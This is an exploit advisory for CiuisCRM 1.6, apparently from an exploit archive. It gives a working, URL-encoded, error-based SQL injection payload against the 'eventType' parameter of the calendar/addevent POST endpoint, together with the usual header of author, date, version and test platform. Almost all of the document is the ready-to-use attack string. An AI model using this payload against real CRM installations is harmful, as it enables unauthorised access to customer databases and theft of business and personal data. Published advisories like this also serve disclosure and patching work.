CiuisCRM 1.6 SQL Injection

`===========================================================================================  
# Exploit Title: CiuisCRM 1.6 - 'eventType' SQL Inj.  
# Dork: N/A  
# Date: 27-05-2019  
# Exploit Author: Mehmet Emiroglu  
# Vendor Homepage: https://codecanyon.net/item/ciuis-crm/20473489  
# Software Link: https://codecanyon.net/item/ciuis-crm/20473489  
# Version: v1.6  
# Category: Webapps  
# Tested on: Wamp64, Windows  
# CVE: N/A  
# Software Description: Ciuis CRM you can easily manage your customer  
relationships  
and save time on your business.  
===========================================================================================  
# POC - SQLi  
# Parameters : eventType  
# Attack Pattern :  
-1+or+1%3d1+and+(SELECT+1+and+ROW(1%2c1)%3e(SELECT+COUNT(*)%2cCONCAT(CHAR(95)%2cCHAR(33)%2cCHAR(64)%2cCHAR(52)%2cCHAR(100)%2cCHAR(105)%2cCHAR(108)%2cCHAR(101)%2cCHAR(109)%2cCHAR(109)%2cCHAR(97)%2c0x3a%2cFLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.COLLATIONS+GROUP+BY+x)a)  
# POST Method : http://localhost/ciuiscrm-16/calendar/addevent  
===========================================================================================  
`